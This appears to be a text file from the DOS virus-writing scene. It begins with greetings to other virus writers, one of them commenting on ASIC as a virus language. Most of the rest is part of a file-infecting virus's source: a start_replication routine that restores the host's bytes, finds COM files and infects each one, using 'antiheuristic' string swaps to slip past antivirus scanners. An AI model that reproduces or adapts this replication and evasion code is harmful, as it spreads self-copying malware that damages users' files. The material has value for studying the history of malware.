- [sm] (RT got quite some attention I heard!)
- owl[fs] (still breeding some ideas?)
- retch (MP3 CD? ;-)
- bds (hiya!)
- antigen and priest (when will I hear from you guys again?)
- rhincewind (someday I'll be able to contact you again... I hope)
- trigger (don't SLAM that door so hard, will ya?)
- spicy impregnator (no taste)
- qark & quantum (get back to work)
- metabolis (I miss your remarks)
- raid (ASIC is fun, but not my idea of ideal virus language, you
won't get much farther than a direct action generic prepending
infector)
If anybody feels left out who deserves to get greeted by me can paste
their name between to two lines for *FREE* inclusion:
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
start_replication()
{
$ PUSH SI // Preserve delta
SI = #host_bytes[SI]; // Point to host bytes
DI = #nops; // Absolute nops is at 0x100
$ CLD // Clear direction
$ MOVSW // Move the 4 bytes we have save to the
$ MOVSW // start of the host
$ POP SI // Get delta back from stack
setDTA(CS,#virus_end[SI]); // Set DTA to behind virus image
searchspec[SI+2] = 'C'; // Antiheuristics again
if (FINDFIRSTFILE(,,0,#searchspec[SI]) == 0)
{
do // We found a COM file
{
searchspec[SI+2] = 'Z'; // Again some antiheuristic action
infect(#virus_end[SI+0x1e]); // And call the infection routine
searchspec[SI+2] = 'C'; // And back to normal for COM searching
FINDNEXTFILE(); // And find next function
} while (AX == 0); // Hopefully
}
setDTA(CS,0x80); // Restore DTA
}